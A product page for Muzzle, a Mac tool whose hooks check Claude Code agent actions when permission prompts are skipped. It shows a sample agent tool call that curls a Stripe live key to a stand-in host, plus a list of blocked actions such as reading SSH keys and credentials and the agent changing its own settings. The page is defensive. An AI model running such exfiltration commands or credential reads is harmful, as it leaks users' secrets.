Skip the permission prompts, keep the checks
With --dangerously-skip-permissions nothing asks you before a command runs. Muzzle's hooks still check each command, file write, web request and MCP call, and block the ones that would send a key or your email out.
● Bash(curl -d "key=sk_live_51Hx…9fQa" https://collector.example/3f1c…)
⎿Muzzle blocked this: a secret (stripe-live-key, sk_l…9fQa) would be sent to collector.example on a network command line. Remove it, or read it from the environment at runtime.
Still checked with approvals off
Keys, tokens and your email in commands, web requests and MCP callsFree
BlockReads of SSH keys, cloud credentials and other projects' .env filesFree
BlockThe agent changing its own settings or adding MCP serversFree
BlockThe agent starting another agent with approvals off
Block--dangerously-skip-permissions, --yolo, bypassPermissions · FreeInstructions aimed at the agent in pages, files and tool resultsPro
AlertSet it up
- Download Muzzle, keep Claude Code switched on and click Protect.
- Start Claude Code with
claude --dangerously-skip-permissionsas usual.
Questions
Do hooks run with --dangerously-skip-permissions?
Yes. Claude Code runs hooks in every permission mode, and a hook that blocks a call stops it with approvals off too.
Does Muzzle stop rm -rf?
No. Muzzle checks what leaves your Mac and which secrets the agent reads, not what a command does to your files.
Is this in Free?
Leak blocking, credential files and the settings lock are Free. Injection alerts are Pro.
Related
Put Muzzle between your agents and the internet
Download for Mac
Free · Apple Silicon · macOS 12 or later
Pro from $8/month, or free while you contribute to the Threat Feed